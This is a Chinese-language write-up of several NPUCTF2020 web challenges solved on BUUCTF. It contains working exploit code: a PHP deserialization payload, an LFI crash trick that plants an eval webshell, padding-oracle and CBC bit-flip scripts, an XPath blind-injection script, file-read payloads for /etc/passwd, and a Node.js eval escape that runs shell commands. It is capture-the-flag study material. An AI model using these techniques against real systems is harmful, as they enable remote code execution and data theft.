随便记录一下,可能不够详细,但是会把参考链接放上去(参考的比较详细的文章)
[TOC]
[NPUCTF2020]ReadlezPHP
看源码发现 ./time.php?source
,进去给了源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
简单反序列化,使用 assert
,因为 eval
不支持这样的动态调用没有 assert
灵活
<?php
/**
* @Author: ying
* @Date: 2021-09-18 15:42:56
* @Last Modified by: ying
* @Last Modified time: 2021-09-18 15:44:46
*/
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = 'phpinfo()';
$this->b = 'assert';
}
}
echo urlencode(serialize(new HelloPhp));
# output:O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D[Finished in 0.2s]
搜索 flag 即可
[NPUCTF2020]ezinclude
这个,不会,看了wp。其中 php://filter/string.strip_tags导致php崩溃清空堆栈重启,崩溃原因是存在一处空指针引用 这个,原理不知得是什么,原作者说调试,但后续文章没找到,网上分析也没有,我太菜也不会分析。。。暂时搁置
进题目,看源码,<!--md5($secret.$name)===$pass -->
,传参方式未知,全写上,并抓包
返回包的 cookie 很奇怪,多次发包都是不变的,放到pass里面
明显的 LFI ,读源码(php://filter/convert.base64-encode/resource=
)
flflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
index.php
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
';
}else{
setcookie("Hash",md5($secret.$name),time()+3600000);
echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
config.php
<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>
到这里就不会了,看wp才知道
php7.0有一个bug,利用php://filter/string.strip_tags造成崩溃。在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell,这个崩溃原因是存在一处空指针引用。
利用版本如下:
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
使用脚本
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-09-18 16:42:35
# @Last Modified by: ying
# @Last Modified time: 2021-09-18 16:43:47
import requests
from io import BytesIO
url="http://db2dfb14-2e65-48e7-86b6-466f54fe396d.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
phpfile="<?php @eval($_POST['cmd']); ?>"
filedata={
"file":phpfile
}
req=requests.post(url=url,files=filedata)
print(req.text)
到这里只需要知道文件名就行了,本以为是爆破,但是wp里面扫目录扫出来个 dir.php
。。。彳亍,加到字典里面
<?php
var_dump(scandir('/tmp'));
?>
正好,不用爆破了hhh,连上蚁剑没找到 flag,原来还是在phpinfo()里面
参考
[NPUCTF2020]ezinclude(PHP临时文件包含)
[BUUCTF题解][NPUCTF2020]ezinclude 1
[NPUCTF2020]web🐕
汪汪汪,我太笨了,cbc看了好久,推荐读的文章,炒鸡详细!Padding Oracle原理深度解析&CBC字节翻转攻击原理解析 ,padding oracle和cbc翻转攻击
进去送源码了,看开头的定义知道是 cbc 加密,这里需要进行 Padding Oracle Attack
<?php
error_reporting(0);
include('config.php'); # $key,$flag
define("METHOD", "aes-128-cbc"); //定义加密方式
define("SECRET_KEY", $key); //定义密钥
define("IV","6666666666666666"); //定义初始向量 16个6
define("BR",'<br>');
if(!isset($_GET['source']))header('location:./index.php?source=1');
#var_dump($GLOBALS); //听说你想看这个?
function aes_encrypt($iv,$data)
{
echo "--------encrypt---------".BR;
echo 'IV:'.$iv.BR;
return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR;
}
function aes_decrypt($iv,$data)
{
return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False');
}
if($_GET['method']=='encrypt')
{
$iv = IV;
$data = $flag;
echo aes_encrypt($iv,$data);
} else if($_GET['method']=="decrypt")
{
$iv = @$_POST['iv'];
$data = @$_POST['data'];
echo aes_decrypt($iv,$data);
}
echo "我摊牌了,就是懒得写前端".BR;
if($_GET['source']==1)highlight_file(__FILE__);
看了上面的文章基本就懂得差不多了,直接上脚本,看着注释理解一下吧
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-09-19 15:50:15
# @Last Modified by: ying
# @Last Modified time: 2021-09-20 16:54:01
import requests
import time
sess = requests.session()
url = 'http://ea63eab5-596e-4bc0-88e1-12d91f5c167a.node4.buuoj.cn:81/index.php?source=1&method=decrypt'
def xor(a, b):
"""
用于输出两个字符串对位异或的结果
"""
return ''.join([chr(ord(a[i]) ^ ord(b[i])) for i in range(len(a))])
def main():
# 初始向量
IV = '6666666666666666';
# 密文
CIPHERTEXT = 'ly7auKVQCZWum/W/4osuPA==';
# 分组长度
N = 16
# middle 中间值
IntermediaryValue = ''
# 猜测的iv
InitalizationValue = ''
# 填充位
padding = ''
for step in range(1,N+1):
print(f'正在猜测倒数第 '+str(step)+' 位\n')
padding = chr(step)*(step-1)
for x in range(0,256):
print('猜测倒数第 '+str(step)+' 位为 ' + chr(x))
'''
InitalizationValue(猜测的iv)由以下三部分组成:
待猜测的 chr(0)*(N-step)
正在猜测的 chr(x)
已经猜测的:
这部分可以单独出一个变量进行保存;也可以保存 middle(中间值),然后与 padding(填充位)异或得到
这里使用第二个,变量越多越复杂。。。
'''
InitalizationValue = chr(0)*(N-step)+chr(x)+xor(padding, IntermediaryValue)
data = {
"data":CIPHERTEXT,
"iv":InitalizationValue
}
response = sess.post(url = url, data = data)
time.sleep(0.06)
if response.text != 'False':
# 填充位正确,记录中间值(倒着猜的,所以相加循序不能变,一开始写反了。。。)
IntermediaryValue = xor(chr(x), chr(step)) + IntermediaryValue
print('倒数第 '+str(step)+' 位猜测完成! middle 为:'+IntermediaryValue)
break
# 猜测结束,计算明文
PLAINTEXT = xor(IntermediaryValue, IV)
print('攻击结束!!!明文为:'+PLAINTEXT)
if __name__ == '__main__':
main()
解出来是 FlagIsHere.php
,进去发现又是 cbc ,不过这次是 cbc 字节反转攻击
<?php
#error_reporting(0);
include('config.php'); //$fl4g
define("METHOD", "aes-128-cbc");
define("SECRET_KEY", "6666666");
session_start();
function get_iv(){ //生成随机初始向量IV
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
$lalala = 'piapiapiapia';
if(!isset($_SESSION['Identity'])){
$_SESSION['iv'] = get_iv();
$_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv']));
}
echo base64_encode($_SESSION['iv'])."<br>";
if(isset($_POST['iv'])){
$tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_POST['iv']));
echo $tmp_id."<br>";
if($tmp_id ==='weber')die($fl4g);
}
highlight_file(__FILE__);
看看上面的文章也该明白了,直接上脚本
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-09-20 17:11:51
# @Last Modified by: ying
# @Last Modified time: 2021-09-20 17:32:31
import requests
import base64
sess = requests.session()
url = 'http://ea63eab5-596e-4bc0-88e1-12d91f5c167a.node4.buuoj.cn:81/FlagIsHere.php'
cookies = {
'PHPSESSID':'ff0a618b7bda2a74516b4cd658c19fc2'
}
data = {
'iv':''
}
def main():
IV = base64.b64decode('usVqHXk5Isff2ZII5k2joQ==');
orginal = b'piapiapiapia\x04\x04\x04\x04'
target = b'weber\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'
result = b''
for x in range(16):
result += bytes([IV[x] ^ orginal[x] ^ target[x]])
data['iv'] = base64.b64encode(result)
response = sess.post(url = url, data = data, cookies = cookies, timeout = 3)
print(response.text)
if __name__ == '__main__':
main()
原题是一个云盘链接,buu这里直接给了附件,拖到 idea 里面或者反编译软件,然后就没了
雀氏不过分呢(我。。。。我佛慈悲)
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-09-20 18:11:57
# @Last Modified by: ying
# @Last Modified time: 2021-09-20 18:12:24
a = [102, 108, 97, 103, 123, 119, 101, 54, 95, 52, 111, 103, 95, 49, 115, 95, 101, 52, 115, 121, 103, 48, 105, 110, 103, 125]
for x in a:
print(chr(x), end='')
# output : flag{we6_4og_1s_e4syg0ing}
参考
Padding Oracle原理深度解析&CBC字节翻转攻击原理解析
[NPUCTF2020]ezlogin
以为是 sql、xxe,结果是 xpath 注入???第一次见,还是太菜啦
看了 js 源码怎么传数据的,是 xml 类型,xxe 又不通,只得看 wp 了
wp说是 xpath 注入,有点类似 sql 盲注嗷,脚本很简单,token每次请求会刷新,所以记得用 session请求,提取 token 用了 xpath,本题考查的不就是这个么,嘿嘿
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-09-20 23:02:37
# @Last Modified by: ying
# @Last Modified time: 2021-09-21 10:24:16
import requests
import time
from lxml import etree
sess = requests.session()
url = 'http://a4f58e26-ddde-4655-b40b-de835c173c12.node4.buuoj.cn:81/login.php'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag = ''
for x in range(1,100):
for y in strs:
response = sess.get(url = url, timeout = 3)
time.sleep(0.06)
response.encoding = 'utf8'
# 将数据转换为树,也就是 xpath
root = etree.HTML(response.content)
# chrome 右键 copy xpath,nice~
token = root.xpath('//*[@id="token"]/@value')[0]
# print(token)
payload_root = f'''<username>'or substring(name(/*[1]), {x}, 1)='{y}' or ''='</username><password>a</password><token>{token}</token>'''
payload_root_child = f'''<username>'or substring(name(/root/*[1]), {x}, 1)='{y}' or ''='</username><password>a</password><token>{token}</token>'''
payload_accounts_child = f'''<username>'or substring(name(/root/accounts/*[1]), {x}, 1)='{y}' or ''='</username><password>a</password><token>{token}</token>'''
payload_accounts_user = f'''<username>'or substring(name(/root/accounts/user/*[3]), {x}, 1)='{y}' or ''='</username><password>a</password><token>{token}</token>'''
payload_username = f'''<username>'or substring(/root/accounts/user[2]/username/text(), {x}, 1)='{y}' or ''='</username><password>a</password><token>{token}</token>'''
payload_password = f'''<username>'or substring(/root/accounts/user[2]/password/text(), {x}, 1)='{y}' or ''='</username><password>a</password><token>{token}</token>'''
# print(payload)
data = payload_password
response = sess.post(url = url, headers = headers, data = data, timeout = 3)
time.sleep(0.06)
if "非法操作" in response.text:
flag += y
print(flag)
break
if "用户名或密码错误!" in response.text:
break
用adm1n@gtfly123
登陆,看 url,像 LFI,试一试,admin.php?file=../../../../../../../etc/passwd
源码有东西,确实存在 LFI,直接读 flag发现返回值被ban了,只能伪协议编码,伪协议也可以大小写编码绕过,学费了
pHp://filter/string.rot13/resource=/flag
?file=pHp://filter/convert.Base64-encode/resource=/flag
[NPUCTF2020]EzShiro
这个涉及到 jackson反序列化 + JNDI注入 + LDAP,都还没分析过,先咕咕咕~
buuctf刷题-Java篇、NPUCTF_WriteUps/m0on’s-writeup.md
[NPUCTF2020]验证🐎
啊
我好菜nodejs 也不太会。。。看wp喽
开箱送源码喽
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = require('./key.js').keys;
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
有 eval ,但是需要过两个关卡,第一个是 if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
,js 嘛,也是脚本语言,存在弱类型,这个弱类型类似php的
关于长度的话,数值类型的是没有长度的,它只是一个属性
在 node js 里面,任何数据类型与字符串相加其 type 都会变成 string
所以第一个 if 就可以过了。综上,传入 {"e":paylod,"first":[1],"second":"1"}
即可
第二关就是过 function saferEval(str)
这里的正则 if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, ''))
,拆开看:
(?:Math(?:\.\w+)?)
:匹配Math.[0-9a-z]
[()+\-*/&|^%<>=,?:]
:匹配中括号内任意一个字符(\-
为减号)(?:\d+\.?\d*(?:e\d+)?)
:匹配 数字开头 一个或零个点 一个或零个 e[0-9]
怎么构造 poc 我也不会,直接看别人的
(Math=>(
Math=Math.constructor,
Math.x=Math.constructor(
Math.fromCharCode(
114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
)()))(Math+1)
(Math=>(
Math=Math.constructor,
Math.x=Math.constructor(
Math.fromCharCode("return process.mainModule.require('child_process').execSync('cat /flag')"))
)()
))(Math+1)
也是拆开看
Math
本身是一个 object=>
是箭头函数(匿名函数)其类似(参数1, 参数2, …, 参数N) => { 函数声明 } | 单一表达式
,调用的话可以先将箭头函数赋值给变量在调用,也可以直接定义好后面跟上(参数)
进行调用,看下面的例子(如果参数为单个的话就不需要括号了:(a=>a-a)(1)
)然后是
Math=Math.constructor,Math.x=Math.constructor(......))
,中间的逗号运算是从左往右算,返回最右边的运算结果:Math.constructor.constructor(.....)
最终返回的是一个
Function
,在 js 中 每个 JavaScript 函数实际上都是一个Function
对象。它可以动态的创建一个函数,还是看例子那整个的一个结果就是创建函数,返回执行命令
生成 payload 的脚本(抄的,俺不会写)
import re
encode = lambda code: list(map(ord,code))
#decode = lambda code: "".join(map(chr,code))
a=f"""
(m0=>(
m0=m0.constructor,
m0.x=m0.constructor(
m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
)()
))(Math+1)
"""
print(a+'\n')
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
print(a)
利用 exp:
import requests
import json
headers = {
"Content-Type":"application/json"
}
url = "http://14b5ae3b-e444-4e5b-9e2b-1ba3100fc085.node3.buuoj.cn/"
data = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[0],"second":"0"}
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)